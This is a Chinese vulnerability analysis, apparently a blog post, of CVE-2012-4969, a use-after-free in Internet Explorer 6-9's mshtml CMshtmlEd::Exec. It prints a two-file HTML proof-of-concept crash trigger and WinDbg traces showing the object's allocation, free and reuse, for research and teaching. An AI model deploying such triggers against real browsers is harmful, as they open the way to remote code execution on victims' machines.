Microsoft Internet Explorer ‘CMshtmlEd::Exec’函数释放后使用漏洞(CNNVD-201209-394)
Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器。
Microsoft Internet Explorer 6至9版本中的‘mshtml.dll’中的‘CMshtmlEd::Exec’函数中存在释放后使用漏洞。远程攻击者可利用该漏洞通过特制的网站,执行任意代码。
poc.html
<HTML> <BODY> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "W"; </script> <iframe src="CVE-2012-4969.HTML"></iframe> </body> </HTML>
<HTML> <script> function funcB() { document.execCommand("selectAll"); }; function funcA() { document.write("Y"); parent.arrr[0].src="http://zenhumany.blog.163.com/blog/YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH"; }; </script> <body onload='funcB();' onselect='funcA()'> <div contenteditable='true'> a </div> </body> </HTML>
CVE-2012-4969.HTML
1:020> g
(634.1dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000001f ecx=06da8f30 edx=0000000d esi=00000000 edi=07664f78
eip=6841c4ba esp=0423b748 ebp=0423b754 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMshtmlEd::Exec+0x131:
6841c4ba 8b7f08 mov edi,dword ptr [edi+8] ds:0023:07664f80=????????
1:020> dd edi
07664f78 ???????? ???????? ???????? ????????
07664f88 ???????? ???????? ???????? ????????
07664f98 ???????? ???????? ???????? ????????
07664fa8 ???????? ???????? ???????? ????????
07664fb8 ???????? ???????? ???????? ????????
07664fc8 ???????? ???????? ???????? ????????
07664fd8 ???????? ???????? ???????? ????????
07664fe8 ???????? ???????? ???????? ????????
1:020> !heap -p -a edi
address 07664f78 found in
_DPH_HEAP_ROOT @ 171000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
76509f4: 7664000 2000
702290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77285674 ntdll!RtlDebugFreeHeap+0x0000002f
77247aca ntdll!RtlpFreeHeap+0x0000005d
77212d68 ntdll!RtlFreeHeap+0x00000142
76d52a5b RPCRT4!FreeWrapper+0x00000031
76d52a1e RPCRT4!operator delete+0x0000000e
76d468bf RPCRT4!DCE_BINDING::`scalar deleting destructor'+0x00000013
76d46938 RPCRT4!LRPC_BINDING_HANDLE::`vector deleting destructor'+0x0000000f
76d5d4e3 RPCRT4!LRPC_BASE_BINDING_HANDLE::FreeObject+0x00000018
734c5a25 NLAapi!STRING_HANDLE_unbind+0x0000000f
76d5f826 RPCRT4!GenericHandleMgr+0x000000e2
76d5f85a RPCRT4!GenericHandleUnbind+0x00000029
76d5c687 RPCRT4!NdrpClientFinally+0x00000073
76db5787 RPCRT4!NdrClientCall2+0x000002ac
734c53c0 NLAapi!AppSrv_NlaOpenQuery+0x00000019
734c52ae NLAapi!QueryCtxtConnect+0x00000037
734c5a82 NLAapi!NlaRegisterQuery+0x00000067
734c5e8f NLAapi!GetNlaV2Handle+0x0000007e
734c5d64 NLAapi!WSM_NSPLookupServiceBegin_v2+0x000000c9
75735871 ws2_32!NSPROVIDER::NSPLookupServiceBegin+0x0000001b
7573584d ws2_32!NSPROVIDERSTATE::LookupServiceBegin+0x0000001d
757357dc ws2_32!NSQUERY::LookupServiceBegin+0x0000018d
7573568c ws2_32!WSALookupServiceBeginW+0x0000007f
76629402 WININET!NLA_NET_CHANGE::Initialize+0x000000a3
76629355 WININET!CheckForNetworkChange+0x00000026
7661e1dd WININET!IsNetAndAutoProxyReady+0x00000020
7661e111 WININET!InternetInitializeAutoProxyDll+0x00000079
76b25518 urlmon!IsAutoProxyReady+0x0000004f
76b16fed urlmon!CSecurityManager::GetZoneFromUri+0x0000004d
76b18190 urlmon!CSecurityManager::MapUrlToZoneEx2+0x000000f2
76b29180 urlmon!GetIDNFlagsForUri+0x0000003e
76b29b7f urlmon!CINetHttp::SetOptionsForUnicodeUrl+0x00000022
这个堆分配记录明显的不对,我猜测是原对象经历了占位导致的
我个人认为这个poc是不具备可调试性的,除非开了上帝视角提前就知道漏洞是啥
我们假设已知发生uaf的对象是CMshtmlEd,否则就没法调了。
有的同学说CMshtmlEd::Exec函数里发生的异常所以异常对象就是CMshtmlEd。这个完全不讲道理,CMshtmlEd的派生类都是可以调用这个方法的,更何况从poc来看你根本就不知道会有CMshtmlEd对象创建,你怎么就知道是CMshtmlEd呢?照这么说崩溃在哪个类的方法里就是哪个对象的uaf,这漏洞简直不用调了,直接看就行了。
我们先调最后再来说CMshtmlEd对象怎么来的。
eax=07abef78 ebx=06ffef20 ecx=7721349f edx=07abef78 esi=00000000 edi=0420b86c
eip=68355d4d esp=0420b838 ebp=0420b850 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CMshtmlEd::CMshtmlEd:
68355d4d 8bff mov edi,edi
1:020> kp
ChildEBP RetAddr
0420b834 683559cc mshtml!CMshtmlEd::CMshtmlEd
0420b850 684a249c mshtml!CHTMLEditor::AddCommandTarget+0x2f
0420b878 6841bbf5 mshtml!CHTMLEditor::GetCommandTarget+0x94
0420b890 683ddd2e mshtml!CHTMLEditorProxy::GetCommandTarget+0x1e
0420b8b8 6841c609 mshtml!CEditRouter::SetInternalEditHandler+0x64
0420b8dc 68394249 mshtml!CEditRouter::ExecEditCommand+0xac
0420bc98 684fb040 mshtml!CDoc::ExecHelper+0x3cd7
0420bcb8 6853aad6 mshtml!CDocument::Exec+0x24
0420bce0 684fcd0a mshtml!CBase::execCommand+0x53
0420bd18 68533f8f mshtml!CDocument::execCommand+0x94
0420bd90 683f235c mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x14e
0420be04 683f25d5 mshtml!CBase::ContextInvokeEx+0x5dc
0420be30 683fdf9a mshtml!CBase::InvokeEx+0x25
0420be80 683b4998 mshtml!DispatchInvokeCollection+0x14c
0420bec8 683a3148 mshtml!CDocument::InvokeEx+0xf0
0420bef0 683a3104 mshtml!CBase::VersionedInvokeEx+0x20
0420bf44 68a3a22a mshtml!PlainInvokeEx+0xeb
0420bf80 68a3a175 jscript!IDispatchExInvokeEx2+0x104
0420bfbc 68a3a3f6 jscript!IDispatchExInvokeEx+0x6a
0420c07c 68a3a4a0 jscript!InvokeDispatchEx+0x98
edx=07abef78是分配的堆对象的地址
eax=00000000 ebx=06ffef8c ecx=00000001 edx=06ffef8c esi=07abef78 edi=00000001
eip=6842396f esp=04207ca4 ebp=04207cac iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CMshtmlEd::~CMshtmlEd:
6842396f 8b460c mov eax,dword ptr [esi+0Ch] ds:0023:07abef84=06fd4fc0
1:020> kp
ChildEBP RetAddr
04207ca0 68423954 mshtml!CMshtmlEd::~CMshtmlEd
04207cac 6861db12 mshtml!CMshtmlEd::Release+0x16
04207cc4 68619f59 mshtml!CHTMLEditor::DeleteCommandTarget+0x34
04207cf0 684a246a mshtml!CHTMLEditor::RemoveContainer+0x15f
04207cf8 6841a6c5 mshtml!CHTMLEditor::Notify+0x26
04207d14 683d285e mshtml!CHTMLEditorProxy::Notify+0x21
04207d30 6842a861 mshtml!CDoc::NotifySelection+0x59
04207d98 68212bb4 mshtml!COmWindowProxy::SwitchMarkup+0x348
04207e94 68210789 mshtml!CDocument::open+0x426
04207f10 682c3267 mshtml!CDocument::write+0x7c
04207f30 683f235c mshtml!Method_void_SAFEARRAYPVARIANTP+0x85
04207fa4 683f25d5 mshtml!CBase::ContextInvokeEx+0x5dc
04207fd0 683fdf9a mshtml!CBase::InvokeEx+0x25
04208020 683b4998 mshtml!DispatchInvokeCollection+0x14c
04208068 683a3148 mshtml!CDocument::InvokeEx+0xf0
04208090 683a3104 mshtml!CBase::VersionedInvokeEx+0x20
042080e4 68a3a22a mshtml!PlainInvokeEx+0xeb
04208120 68a3a175 jscript!IDispatchExInvokeEx2+0x104
0420815c 68a3a3f6 jscript!IDispatchExInvokeEx+0x6a
0420821c 68a3a4a0 jscript!InvokeDispatchEx+0x98
esi=07abef78说明正是这个对象的释放
eax=00000000 ebx=0000001f ecx=06ffef30 edx=0000000d esi=00000000 edi=07abef78
eip=6841c4ba esp=0420b8a0 ebp=0420b8ac iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMshtmlEd::Exec+0x131:
6841c4ba 8b7f08 mov edi,dword ptr [edi+8] ds:0023:07abef80=????????
1:020> kp
ChildEBP RetAddr
0420b8ac 6841c63b mshtml!CMshtmlEd::Exec+0x131
0420b8dc 68394249 mshtml!CEditRouter::ExecEditCommand+0xd6
0420bc98 684fb040 mshtml!CDoc::ExecHelper+0x3cd7
0420bcb8 6853aad6 mshtml!CDocument::Exec+0x24
0420bce0 684fcd0a mshtml!CBase::execCommand+0x53
0420bd18 68533f8f mshtml!CDocument::execCommand+0x94
0420bd90 683f235c mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x14e
0420be04 683f25d5 mshtml!CBase::ContextInvokeEx+0x5dc
0420be30 683fdf9a mshtml!CBase::InvokeEx+0x25
0420be80 683b4998 mshtml!DispatchInvokeCollection+0x14c
0420bec8 683a3148 mshtml!CDocument::InvokeEx+0xf0
0420bef0 683a3104 mshtml!CBase::VersionedInvokeEx+0x20
0420bf44 68a3a22a mshtml!PlainInvokeEx+0xeb
0420bf80 68a3a175 jscript!IDispatchExInvokeEx2+0x104
0420bfbc 68a3a3f6 jscript!IDispatchExInvokeEx+0x6a
0420c07c 68a3a4a0 jscript!InvokeDispatchEx+0x98
0420c0b0 68a4d8c8 jscript!VAR::InvokeByName+0x139
0420c0fc 68a4d96f jscript!VAR::InvokeDispName+0x7d
0420c128 68a4e3e7 jscript!VAR::InvokeByDispID+0xce
0420c2c4 68a45c9d jscript!CScriptRuntime::Run+0x2b80
crash掉了,可以看到引起crash的也正是07abef80。
通过对比三者的栈回溯可以看出,红字以下的部分都是一样的。这说明,UAF对象是在一个函数中被创建,在同一个函数中被释放,又在同一个函数中被重新使用。